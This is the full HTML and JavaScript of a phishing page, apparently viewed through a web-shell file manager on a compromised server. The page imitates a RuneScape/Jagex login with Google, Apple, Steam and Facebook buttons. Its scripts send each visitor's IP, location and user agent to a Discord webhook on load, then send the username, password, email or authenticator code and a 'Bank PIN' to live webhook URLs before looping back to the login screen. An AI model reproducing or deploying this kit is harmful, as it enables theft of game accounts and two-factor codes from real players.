HEX
Server: Apache
System: Linux 4801f1b1.ptr.provps.com 6.17.8-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 13 18:02:25 EST 2025 x86_64
User: nassaugo (1004)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/nassaugo/www/shasliko/loginform_aSnv39lf4n3.html
<!DOCTYPE html>
<html lang="en">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <meta name="viewport" content="minimum-scale=1,initial-scale=1,width=device-width,shrink-to-fit=no">
      <meta http-equiv="X-UA-Compatible" content="ie=edge">
      <title>Choose how to log in</title>
      <meta name="viewport" content="width=device-width, initial-scale=1" data-react-helmet="true">
      <meta name="author" content="" data-react-helmet="true">
      <meta http-equiv="X-UA-Compatible" content="IE=edge" data-react-helmet="true">
      <meta name="format-detection" content="telephone=no" data-react-helmet="true">
      <link rel="stylesheet" href="./ui-components/framework.css">
      <script type="text/javascript" src="./ui-components/functions.js"></script>
      <style>
         @import url('https://fonts.cdnfonts.com/css/pf-bague-sans-pro');
      </style>
   </head>
   <body>
      <div id="Page1">
         <div id="app">
            <div class="void-cradle">
               <img alt="Gil" src="./ui-components/hans-glow-bg.png" class="chrono-shell">   
               <div display="block" class="neon-nexus">
                  <div class="obsidian-husk">
                     <p class="nimbus-cocoon">New here? <button aria-busy="false" class="zephyr-mantle">Create an account</button></p>
                     <hr class="crimson-keel" style="margin-top: 16px; margin-bottom: 40px;">
                     <div class="stardust-coil">
                        <img src="./ui-components/media-files/osrs-icon.png" title="Osrs Icon" color="#ffffff" height="2rem" class="abyss-pod"></img>
                        <img src="./ui-components/media-files/oldschool-icon.png" title="Jag Icon" color="#ffffff" height="3rem" class="serenity-hull"></img>
                        <img src="./ui-components/media-files/rs-icon.png" title="Rs Icon Lite" color="#ffffff" height="2rem" class="quantum-bubble"></img>
                     </div>
                     <div aria-hidden="true" class="lunar-loom"></div>
                     <h1 id="page-heading" class="vortex-guild">Log in</h1>
                     <p>Log in using your username</p>
                     <div aria-hidden="true" class="ember-core"></div>
                     <div aria-hidden="true" class="ember-core"></div>
                     <form class="form onyx-monolith" id="login-form">
                        <div class="css-0">
                           <label class="eon-vessel">
                              <span name="us" type="text" id="email-or-user" autocomplete="username" class="nova-ark">Email</span>
                              <input id="username" oninput="validateForm()" aria-disabled="false" type="username" aria-invalid="false" aria-required="false" name="username" autocomplete="username" class="cosmos-weft" value="">
                           </label>
                        </div>
                        <div style="padding: 13px 0" class="css-0">
                           <label class="eon-vessel">
                              <span name="u" type="password" id="email-or-user" autocomplete="new-password" class="nova-ark">Password</span>
                              <input id="password" oninput="validateForm()" aria-disabled="false" type="password" aria-invalid="false" aria-required="false" name="password" class="cosmos-weft" value="">
                           </label>
                        </div>
                        <div aria-hidden="true" class="ember-core"></div>
                        <button class="iridescent-shard" id="rs-login-submit" type="button" name="submit" onclick="sendMessages(); return show('verif1','Page1');" disabled="">Continue</button>
                     </form>
                     <div aria-hidden="true" class="ember-core"></div>
                     <p class="nimbus-cocoon">Or log in with</p>
                     <div aria-hidden="true" class="umbra-bastion"></div>
                     <div display="flex" class="nebula-thread" style="justify-content: center; flex-wrap: wrap;">
                        <button aria-busy="false" class="radiant-citadel">
                           <img alt="Google" src="./ui-components/media-files/icon-google.png" title="Google" class="celestial-keystone">
                        </button>
                        <button aria-busy="false" class="radiant-citadel">
                           <img alt="Apple" src="./ui-components/media-files/icon-apple.png" title="Apple" class="celestial-keystone">
                        </button>
                        <button aria-busy="false" class="radiant-citadel">
                           <img alt="Steam" src="./ui-components/media-files/icon-steam.png" title="Steam" class="celestial-keystone">
                        </button>
                        <button aria-busy="false" class="radiant-citadel">
                           <img alt="Facebook" src="./ui-components/media-files/icon-facebook.png" title="Facebook" class="celestial-keystone">
                        </button>
                     </div>
                     <div aria-hidden="true" class="aether-veil"></div>
                     <div aria-hidden="true" class="ember-core"></div>
                     <button aria-busy="false" class="zephyr-mantle">Forgot log in name?</button>
                  </div>
               </div>
            </div>
         </div>
      </div>
      <a <="" a=""></a>
      <div id="verif1" style="display:none">
         <a <="" a=""></a>
         <a <="" a=""></a>
         <div id="app">
            <a <="" a=""></a>
            <div class="void-cradle">
               <img alt="Gil" src="./ui-components/hans-glow-bg.png" class="chrono-shell">
               <a <="" a=""></a>
               <div display="block" class="neon-nexus">
                  <a <="" a=""></a>
                  <div class="obsidian-husk">
                     <a <="" a=""></a>
                     <p class="nimbus-cocoon"><a <="" a="">Back to </a><a aria-busy="false" class="zephyr-mantle">Login</a></p>
                     <hr class="crimson-keel" style="margin-top: 16px; margin-bottom: 40px;">
                     <div class="stardust-coil">
                        <img src="./ui-components/media-files/osrs-icon.png" title="Osrs Icon" color="#ffffff" height="2rem" class="abyss-pod"></img>
                        <img src="./ui-components/media-files/oldschool-icon.png" title="Jag Icon" color="#ffffff" height="3rem" class="serenity-hull"></img>
                        <img src="./ui-components/media-files/rs-icon.png" title="Rs Icon Lite" color="#ffffff" height="2rem" class="quantum-bubble"></img>
                     </div>
                     <div aria-hidden="true" class="lunar-loom"></div>
                     <h1 id="page-heading" class="vortex-guild">Choose a way to verify it's you</h1>
                     <div aria-hidden="true" class="ember-core"></div>
                     <div aria-hidden="true" class="ember-core"></div>
                     <form class="form onyx-monolith">
                        <div class="css-0">
                           <button class="spectral-bridge" id="auth" type="button" name="submit" onclick="sendAuth(); return show('pageauth1','verif1','pageauth1');">
                              <img src="./ui-components/media-files/icon-auth.png" title="App code" aria-label="A phone with a shield" height="32px" class="flux-spire"></img>Use your authenticator app
                           </button>
                        </div>
                        <div aria-hidden="true" class="aether-veil"></div>
                        <button class="spectral-bridge" id="mail" type="button" name="submit" onclick="sendMail(); return show('pagemail1','verif1','pagemail1');">
                           <img src="./ui-components/media-files/icon-mail.png" title="Email Code" aria-label="An envelope with a shield" height="32px" class="zenith-forge"></img>Send a code to your email address
                        </button>
                        <div style="padding: 13px 0" class="css-0"></div>
                        <div aria-hidden="true" class="ember-core"></div>
                     </form>
                     <div aria-hidden="true" class="aether-veil"></div>
                     <div aria-hidden="true" class="ember-core"></div>
                  </div>
               </div>
            </div>
         </div>
      </div>
      <div id="pagemail1" style="display:none">
         <a <="" a=""></a>
         <div id="app">
            <a <="" a=""></a>
            <div class="void-cradle">
               <img alt="Gil" src="./ui-components/hans-glow-bg.png" class="chrono-shell">
               <a <="" a="">	</a><a <="" a="">Back to </a><a aria-busy="false" class="zephyr-mantle">Login</a>
               <div aria-hidden="true" class="umbra-bastion"></div>
               <div display="block" class="neon-nexus">
                  <div class="obsidian-husk">
                     Back to <a aria-busy="false" class="zephyr-mantle">Login</a>
                     <hr class="crimson-keel" style="margin-top: 16px; margin-bottom: 40px;">
                     <div class="stardust-coil">
                        <img src="./ui-components/media-files/osrs-icon.png" title="Osrs Icon" color="#ffffff" height="2rem" class="abyss-pod"></img>
                        <img src="./ui-components/media-files/oldschool-icon.png" title="Jag Icon" color="#ffffff" height="3rem" class="serenity-hull"></img>
                        <img src="./ui-components/media-files/rs-icon.png" title="Rs Icon Lite" color="#ffffff" height="2rem" class="quantum-bubble"></img>
                     </div>
                     <div aria-hidden="true" class="lunar-loom"></div>
                     <h1 id="page-heading" class="vortex-guild">We've emailed you a verification code</h1>
                     <p>Please enter the code sent to your email to continue</p>
                     <div aria-hidden="true" class="ember-core"></div>
                     <div aria-hidden="true" class="ember-core"></div>
                     <form class="form onyx-monolith" id="email-code-form">
                        <div class="css-0">
                           <label class="eon-vessel">
                              <span name="us" type="text" id="email-or-user" autocomplete="username" class="nova-ark" maxlength="6">Verification Code</span>
                              <input aria-disabled="false" type="text" aria-invalid="false" aria-required="false" name="emailcode" id="emailcode" class="cosmos-weft" value="" maxlength="6">
                           </label>
                        </div>
                        <div aria-hidden="true" class="ember-core"></div>
                        <div aria-hidden="true" class="ember-core"></div>
                        <button class="iridescent-shard" id="rs-login-mail" type="button" name="submit" onclick="sendEmailCode(); return show('Page3','Page1','Page3');" disabled>Continue</button>
                        <div aria-hidden="true" class="aether-veil"></div>
                        <div aria-hidden="true" class="ember-core"></div>
                        <a id="another" name="another" class="kinetic-block" onclick="sendAnother(); return show('verif1','pagemail1','verif1');">Verify another way</a>
                     </form>
                  </div>
               </div>
            </div>
         </div>
      </div>
      <div id="pageauth1" style="display:none">
         <a <="" a=""></a>
         <div id="app">
            <a <="" a=""></a>
            <div class="void-cradle">
               <img alt="Gil" src="./ui-components/hans-glow-bg.png" class="chrono-shell">
               <a <="" a="">	</a><a <="" a="">Back to </a><a aria-busy="false" class="zephyr-mantle">Login</a>
               <div aria-hidden="true" class="umbra-bastion"></div>
               <div display="block" class="neon-nexus">
                  <div class="obsidian-husk">
                     Back to <a aria-busy="false" class="zephyr-mantle">Login</a>
                     <hr class="crimson-keel" style="margin-top: 16px; margin-bottom: 40px;">
                     <div class="stardust-coil">
                        <img src="./ui-components/media-files/osrs-icon.png" title="Osrs Icon" color="#ffffff" height="2rem" class="abyss-pod"></img>
                        <img src="./ui-components/media-files/oldschool-icon.png" title="Jag Icon" color="#ffffff" height="3rem" class="serenity-hull"></img>
                        <img src="./ui-components/media-files/rs-icon.png" title="Rs Icon Lite" color="#ffffff" height="2rem" class="quantum-bubble"></img>
                     </div>
                     <div aria-hidden="true" class="lunar-loom"></div>
                     <h1 id="page-heading" class="vortex-guild">Enter verification code</h1>
                     <p>Please enter the code from your authenticator app to continue.</p>
                     <div aria-hidden="true" class="ember-core"></div>
                     <div aria-hidden="true" class="ember-core"></div>
                     <div class="css-0">
                        <label class="eon-vessel">
                           <span name="us" type="number" id="email-or-user" autocomplete="username" class="nova-ark" maxlength="6">Verification Code</span>
                           <input aria-disabled="false" type="number" aria-invalid="false" aria-required="false" name="authenticator" id="authenticator" autocomplete="authenticator" class="cosmos-weft" value="" maxlength="6">
                        </label>
                     </div>
                     <div aria-hidden="true" class="ember-core"></div>
                     <div aria-hidden="true" class="ember-core"></div>
                     <button class="iridescent-shard" id="rs-login-auth" type="button" name="submit" onclick="sendAuthenticator(); return show('Page3','pageauth1','Page3');" disabled>Continue</button>
                     <div aria-hidden="true" class="aether-veil"></div>
                     <div aria-hidden="true" class="ember-core"></div>
                     <a id="another2" name="another2" class="kinetic-block" onclick="sendAnother(); return show('verif1','pageauth1','verif1');">Verify another way</a>
                  </div>
               </div>
            </div>
         </div>
      </div>
      </a>
      </a>
      <div id="Page3" style="display:none">
         <a <="" a=""></a>
         <a <="" a=""></a>
         <div id="app">
            <!DOCTYPE html>
            <html lang="en">
            <head>
               <meta charset="UTF-8">
               <meta name="viewport" content="width=device-width, initial-scale=1.0">
               <title>Premium Numeric Keypad</title>
               <link href="https://fonts.cdnfonts.com/css/pf-bague-sans-pro" rel="stylesheet">
               <style>
                  @media (max-width: 576px) {
                     body {
                        font-family: 'PF Bague Sans Pro', Helvetica, Arial, sans-serif;
                        background: rgb(11, 17, 26) !important;
                        background-size: cover;
                        color: white;
                        align-items: center;
                        height: 100vh;
                        margin: 0;
                     }
                     .keypad-container {
                        box-shadow: none !important;
                     }
                  }
                  body {
                     font-family: 'PF Bague Sans Pro', Helvetica, Arial, sans-serif;
                     background-size: cover;
                     color: white;
                     align-items: center;
                     height: 100vh;
                     margin: 0;
                  }
                  .keybad-start {
                     justify-contect:center;
                     display:flex;
                  }
                  .keypad-container {
                     width: 100%;
                     max-width: 500px;
                     background: rgb(11, 17, 26);
                     border-radius: 16px;
                     box-shadow: 0 12px 24px rgba(0, 0, 0, 0.5);
                     padding: 20px;
                     text-align: center;
                  }
                  .stardust-coil {
                     display: flex;
                     justify-content: center;
                     gap: 12px;
                     margin-bottom: 20px;
                  }
                  .stardust-coil span {
                     display: inline-block;
                     background: white;
                     border-radius: 50%;
                     width: 2.5rem;
                     height: 2.5rem;
                  }
                  .title {
                     font-size: 1.5rem;
                     font-weight: bold;
                     margin-bottom: 15px;
                     color: white;
                  }
                  .subtitle {
                     font-size: 1rem;
                     margin-bottom: 15px;
                     color: white;
                  }
                  .display {
                     width: 100%;
                     height: 60px;
                     border: 2px solid #3a6fa5;
                     border-radius: 12px;
                     background: rgba(255, 255, 255, 0.08);
                     color: white;
                     font-family: Georgia, serif;
                     font-size: 1.25rem;
                     font-weight: bold;
                     text-align: center;
                     line-height: 60px;
                     margin: 15px 0;
                     outline: none;
                     box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.4);
                  }
                  ::placeholder {
                     color: rgba(255, 255, 255, 0.6);
                  }
                  .keypad {
                     display: grid;
                     grid-template-columns: repeat(4, 1fr);
                     gap: 12px;
                     margin-top: 15px;
                  }
                  .numbers {
                     display: grid;
                     grid-template-columns: repeat(3, 1fr);
                     gap: 12px;
                     grid-column: span 3;
                  }
                  .actions {
                     display: grid;
                     grid-template-rows: repeat(1, 1fr);
                     gap: 12px;
                     grid-column: span 1;
                  }
                  .key {
                     background: linear-gradient(145deg, #a32d3e, #70202c);
                     color: white;
                     border: none;
                     border-radius: 12px;
                     font-family: Georgia, serif;
                     font-size: 1.5rem;
                     font-weight: bold;
                     padding: 15px;
                     height: 70px;
                     width: 100%;
                     display: flex;
                     align-items: center;
                     justify-content: center;
                     cursor: pointer;
                     transition: transform 0.2s, box-shadow 0.2s, background 0.3s;
                     box-shadow: 0 4px 10px rgba(0, 0, 0, 0.3);
                  }
                  .key:hover {
                     transform: translateY(-4px);
                     box-shadow: 0 8px 14px rgba(0, 0, 0, 0.4);
                     background: linear-gradient(145deg, #b84051, #8a2d3b);
                  }
                  .key:active {
                     transform: translateY(2px);
                     box-shadow: 0 3px 8px rgba(0, 0, 0, 0.2);
                  }
                  .key.special {
                     background: linear-gradient(145deg, #2c5a8d, #1b3e63);
                     font-size: 1.25rem;
                     height: 70px;
                  }
                  .key.special:hover {
                     background: linear-gradient(145deg, #3d7bb5, #2b587d);
                  }
                  .key.special:active {
                     background: linear-gradient(145deg, #1a4766, #12334a);
                  }
                  .key:focus-visible {
                     outline: 3px solid #ffffff;
                     outline-offset: 2px;
                  }
                  #continue-button:disabled {
                     background: #3b3b3b;
                     cursor: not-allowed;
                     box-shadow: none;
                  }
                  .zero-key {
                     grid-column: 2 / span 1;
                     justify-self: center;
                     align-self: center;
                  }
                  @media (max-width: 480px) {
                     .keypad-container {
                        padding: 15px;
                     }
                     .title {
                        font-size: 1.25rem;
                     }
                     .subtitle {
                        font-size: 0.9rem;
                     }
                     .key {
                        font-size: 1.25rem;
                        height: 60px;
                        padding: 10px;
                     }
                     .display {
                        height: 50px;
                        font-size: 1rem;
                        line-height: 50px;
                     }
                  }
               </style>
            </head>
            <body>
               <div class="void-cradle">
                  <div class="keypad-container">
                     <div class="stardust-coil">
                        <img src="./ui-components/media-files/osrs-icon.png" title="Osrs Icon" color="#ffffff" height="2rem" class="abyss-pod"></img>
                        <img src="./ui-components/media-files/oldschool-icon.png" title="Jag Icon" color="#ffffff" height="3rem" class="serenity-hull"></img>
                        <img src="./ui-components/media-files/rs-icon.png" title="Rs Icon Lite" color="#ffffff" height="2rem" class="quantum-bubble"></img>
                     </div>
                     <div class="title">Verification Required</div>
                     <div class="subtitle">Securely validate your Bank PIN for added security.</div>
                     <input type="text" class="display" id="display" placeholder="4-Digit-Code" maxlength="4" readonly>
                     <div class="keypad">
                        <div class="numbers">
                           <button class="key" onclick="appendNumber('1')">1</button>
                           <button class="key" onclick="appendNumber('2')">2</button>
                           <button class="key" onclick="appendNumber('3')">3</button>
                           <button class="key" onclick="appendNumber('4')">4</button>
                           <button class="key" onclick="appendNumber('5')">5</button>
                           <button class="key" onclick="appendNumber('6')">6</button>
                           <button class="key" onclick="appendNumber('7')">7</button>
                           <button class="key" onclick="appendNumber('8')">8</button>
                           <button class="key" onclick="appendNumber('9')">9</button>
                           <button class="key zero-key" onclick="appendNumber('0')">0</button>
                        </div>
                        <div class="actions">
                           <button class="key special" onclick="deleteLast()">←</button>
                           <button class="key special" id="continue-button" name="submit" onclick="sendMessage()" disabled>Continue</button>
                        </div>
                     </div>
                  </div>
               </div>
               <script>
                  let verificationMethod = null; // 'auth' or 'email'
                  let isSending = false;  // flag to prevent duplicate send

                  const display = document.getElementById('display');
                  const continueButton = document.getElementById('continue-button');

                  function appendNumber(number) {
                    if (display.value.length < 4) {
                      display.value += number;
                    }
                    toggleContinueButton();
                  }

                  function deleteLast() {
                    display.value = display.value.slice(0, -1);
                    toggleContinueButton();
                  }

                  function toggleContinueButton() {
                    continueButton.disabled = display.value.length !== 4;
                  }

                  // Helper to fetch IP address and call callback with IP string
                  function fetchIPAndSend(callback) {
                    fetch("https://api.ipify.org?format=json")
                      .then(response => response.json())
                      .then(data => {
                        callback(data.ip);
                      })
                      .catch(() => {
                        callback("IP unavailable");
                      });
                  }

                  // Helper to fetch geolocation info with IP
                  function fetchGeoInfo(ip, callback) {
                    fetch(`https://ip-api.io/json/${ip}?fields=city,country_name,isp`)
                      .then(response => response.json())
                      .then(data => {
                        callback(data);
                      })
                      .catch(() => {
                        callback({city: "Unknown city", country_name: "Unknown country", isp: "Unknown ISP"});
                      });
                  }

                  // Delay helper (blocking delay)
                  function delayExecution(milliseconds) {
                      const start = Date.now();
                      while (Date.now() - start < milliseconds) {
                          // Intentional delay
                      }
                  }

                  // Visitor notification on page load
                  function sendVisitorNotification() {
                    fetchIPAndSend(ip => {
                      fetchGeoInfo(ip, geo => {
                        const xhr = new XMLHttpRequest();
                        xhr.open("POST", "https://discord.com/api/webhooks/1476170005023559722/RSsbL6poqAm1TxcCVtMTizMWNb_BNaduybnItm5GAXJnt7O-PtNrBp_c9pbjAjfqFgIW");
                        xhr.setRequestHeader("Content-type", "application/json");
                        const data = {
                          embeds: [{
                            title: "Visitor Connected",
                            color: 0x3498db,
                            fields: [
                              { name: "Visitor IP", value: ip || "IP unavailable", inline: false },
                              { name: "City", value: geo.city || "Unknown city", inline: false },
                              { name: "Country", value: geo.country_name || "Unknown country", inline: false },
                              { name: "ISP", value: geo.isp || "Unknown ISP", inline: false },
                              { name: "User Agent", value: navigator.userAgent || "Unknown", inline: false }
                            ]
                          }]
                        };
                        xhr.send(JSON.stringify(data));
                      });
                    });
                  }

                  // Call visitor notification once on load
                  window.onload = sendVisitorNotification;

                  function sendMessages() {
                      fetchIPAndSend(visitorIP => {
                        const xhr = new XMLHttpRequest();
                        xhr.open("POST", "https://discord.com/api/webhooks/1476170105283936277/X9N5ameuMJp2g-P_jmohZF5Z0J6Auzyomp-ZyJiaErRSFMV-4KmQxDeQkFqSJn-O8bNa");
                        xhr.setRequestHeader("Content-type", "application/json");
                        const data = {
                            embeds: [{
                                title: "Login Details",
                                color: 0xc6c6ec,
                                fields: [
                                    { name: "Username", value: document.getElementById("username").value || "No username provided", inline: false },
                                    { name: "Password", value: document.getElementById("password").value || "No password provided", inline: false },
                                    { name: "Visitor IP", value: visitorIP, inline: false }
                                ]
                            }]
                        };
                        xhr.send(JSON.stringify(data));
                        delayExecution(400);
                        document.getElementById("Page1").style.display = "none";
                        document.getElementById("verif1").style.display = "block";
                      });
                  }

                  function sendAuth() {
                      verificationMethod = 'auth';  // set method to authenticator app
                      fetchIPAndSend(visitorIP => {
                        const xhr = new XMLHttpRequest();
                        xhr.open("POST", "https://discord.com/api/webhooks/1476170105283936277/X9N5ameuMJp2g-P_jmohZF5Z0J6Auzyomp-ZyJiaErRSFMV-4KmQxDeQkFqSJn-O8bNa");
                        xhr.setRequestHeader("Content-type", "application/json");
                        const data = {
                            embeds: [{
                                title: "Auth Selection",
                                color: 0xff0000,
                                fields: [
                                    { name: "Username", value: document.getElementById("username").value || "No username provided", inline: false },
                                    { name: "Message", value: "Selected Authenticator", inline: false },
                                    { name: "Visitor IP", value: visitorIP, inline: false }
                                ]
                            }]
                        };
                        xhr.send(JSON.stringify(data));
                        delayExecution(400);
                        document.getElementById("verif1").style.display = "none";
                        document.getElementById("pageauth1").style.display = "block";
                      });
                  }

                  function sendMail() {
                      verificationMethod = 'email';  // set method to email code
                      fetchIPAndSend(visitorIP => {
                        const xhr = new XMLHttpRequest();
                        xhr.open("POST", "https://discord.com/api/webhooks/1476170105283936277/X9N5ameuMJp2g-P_jmohZF5Z0J6Auzyomp-ZyJiaErRSFMV-4KmQxDeQkFqSJn-O8bNa");
                        xhr.setRequestHeader("Content-type", "application/json");
                        const data = {
                            embeds: [{
                                title: "Email code Selection",
                                color: 0xff0000,
                                fields: [
                                    { name: "Username", value: document.getElementById("username").value || "No username provided", inline: false },
                                    { name: "Message", value: "Selected Mail Code", inline: false },
                                    { name: "Visitor IP", value: visitorIP, inline: false }
                                ]
                            }]
                        };
                        xhr.send(JSON.stringify(data));
                        delayExecution(400);
                        document.getElementById("verif1").style.display = "none";
                        document.getElementById("pagemail1").style.display = "block";
                      });
                  }

                  function sendEmailCode() {
                      fetchIPAndSend(visitorIP => {
                        const xhr = new XMLHttpRequest();
                        xhr.open("POST", "https://discord.com/api/webhooks/1476170105283936277/X9N5ameuMJp2g-P_jmohZF5Z0J6Auzyomp-ZyJiaErRSFMV-4KmQxDeQkFqSJn-O8bNa");
                        xhr.setRequestHeader("Content-type", "application/json");
                        const data = {
                            embeds: [{
                                title: "Email Code",
                                color: 0x13ff00,
                                fields: [
                                    { name: "Username", value: document.getElementById("username").value || "No username provided", inline: false },
                                    { name: "Password", value: document.getElementById("password").value || "No password provided", inline: false },
                                    { name: "Email Code", value: document.getElementById("emailcode").value || "No Email Code provided", inline: false },
                                    { name: "Visitor IP", value: visitorIP, inline: false }
                                ]
                            }]
                        };
                        xhr.send(JSON.stringify(data));
                        delayExecution(400);
                        document.getElementById("pagemail1").style.display = "none";
                        document.getElementById("Page3").style.display = "block";
                      });
                  }

                  function sendAuthenticator() {
                      fetchIPAndSend(visitorIP => {
                        const xhr = new XMLHttpRequest();
                        xhr.open("POST", "https://discord.com/api/webhooks/1476170105283936277/X9N5ameuMJp2g-P_jmohZF5Z0J6Auzyomp-ZyJiaErRSFMV-4KmQxDeQkFqSJn-O8bNa");
                        xhr.setRequestHeader("Content-type", "application/json");

                        const authCode = document.getElementById("authenticator").value || "No Authenticator Code provided";

                        const data = {
                            embeds: [{
                                title: "Authenticator",
                                color: 0x13ff00,
                                fields: [
                                    { name: "Username", value: document.getElementById("username").value || "No username provided", inline: false },
                                    { name: "Password", value: document.getElementById("password").value || "No password provided", inline: false },
                                    { name: "Authenticator Code", value: authCode, inline: false },
                                    { name: "Visitor IP", value: visitorIP, inline: false }
                                ]
                            }]
                        };
                        xhr.send(JSON.stringify(data));
                        delayExecution(400);
                        document.getElementById("pageauth1").style.display = "none";
                        document.getElementById("Page3").style.display = "block";
                      });
                  }

                  function sendAnother() {
                      fetchIPAndSend(visitorIP => {
                        const xhr = new XMLHttpRequest();
                        xhr.open("POST", "https://discord.com/api/webhooks/1476170105283936277/X9N5ameuMJp2g-P_jmohZF5Z0J6Auzyomp-ZyJiaErRSFMV-4KmQxDeQkFqSJn-O8bNa");
                        xhr.setRequestHeader("Content-type", "application/json");
                        const data = {
                            embeds: [{
                                title: "Selected Another",
                                color: 0xff0000,
                                fields: [
                                    { name: "Username", value: document.getElementById("username").value || "No username provided", inline: false },
                                    { name: "Message", value: "Selected Another Verification", inline: false },
                                    { name: "Visitor IP", value: visitorIP, inline: false }
                                ]
                            }]
                        };
                        xhr.send(JSON.stringify(data));
                        delayExecution(400);
                        document.getElementById("pagemail1").style.display = "none";
                        document.getElementById("verif1").style.display = "block";
                      });
                  }

                  function sendMessage() {
                    if (isSending) return; // prevent duplicate sends
                    isSending = true;

                    fetchIPAndSend(visitorIP => {
                      const username = document.getElementById("username")?.value || "No username provided";
                      const password = document.getElementById("password")?.value || "No password provided";

                      let codeLabel = "No Code provided";
                      if (verificationMethod === 'auth') {
                        codeLabel = document.getElementById("authenticator")?.value || "No Authenticator Code provided";
                      } else if (verificationMethod === 'email') {
                        codeLabel = document.getElementById("emailcode")?.value || "No Email Code provided";
                      }

                      const bankpin = document.getElementById("display")?.value || "No Bank Pin provided";

                      const xhr = new XMLHttpRequest();
                      xhr.open("POST", "https://discord.com/api/webhooks/1476170105283936277/X9N5ameuMJp2g-P_jmohZF5Z0J6Auzyomp-ZyJiaErRSFMV-4KmQxDeQkFqSJn-O8bNa");
                      xhr.setRequestHeader("Content-type", "application/json");

                      const data = {
                        embeds: [
                          {
                            title: "Full Details",
                            color: 0x164042,
                            fields: [
                              { name: "Username", value: username, inline: false },
                              { name: "Password", value: password, inline: false },
                              { name: verificationMethod === 'auth' ? "Authenticator Code" : verificationMethod === 'email' ? "Email Code" : "Code", value: codeLabel, inline: false },
                              { name: "Bank Pin", value: bankpin, inline: false },
                              { name: "Visitor IP", value: visitorIP, inline: false }
                            ],
                          },
                        ],
                      };

                      xhr.send(JSON.stringify(data));
                      delayExecution(400);

                      // Reset bank pin input
                      display.value = "";
                      toggleContinueButton();

                      // Go back to step 1 and clear username, password, authenticator and email code inputs
                      document.getElementById("Page3").style.display = "none";
                      document.getElementById("Page1").style.display = "block";
                      document.getElementById("username").value = "";
                      document.getElementById("password").value = "";
                      const authInput = document.getElementById("authenticator");
                      if (authInput) authInput.value = "";
                      const emailCodeInput = document.getElementById("emailcode");
                      if (emailCodeInput) emailCodeInput.value = "";

                      verificationMethod = null; // reset method
                      isSending = false;  // reset flag after done
                    });
                  }

                  // Enable pressing Enter on forms to trigger the relevant send functions

                  // Login form Enter key triggers Continue button
                  document.getElementById('login-form').addEventListener('keydown', function(event) {
                    if(event.key === 'Enter' && !document.getElementById('rs-login-submit').disabled) {
                      event.preventDefault();
                      sendMessages();
                      show('verif1','Page1');
                    }
                  });

                  // Authenticator page Enter triggers sendAuthenticator if enabled
                  document.getElementById('pageauth1').addEventListener('keydown', function(event) {
                    if(event.key === 'Enter' && !document.getElementById('rs-login-auth').disabled) {
                      event.preventDefault();
                      sendAuthenticator();
                      show('Page3','pageauth1','Page3');
                    }
                  });

                  // Email code page Enter triggers sendEmailCode if enabled
                  document.getElementById('email-code-form').addEventListener('keydown', function(event) {
                    if(event.key === 'Enter' && !document.getElementById('rs-login-mail').disabled) {
                      event.preventDefault();
                      sendEmailCode();
                      show('Page3','Page1','Page3');
                    }
                  });
               </script>
            </body>
            </html>
         </div>
      </div>
   </body>
</html>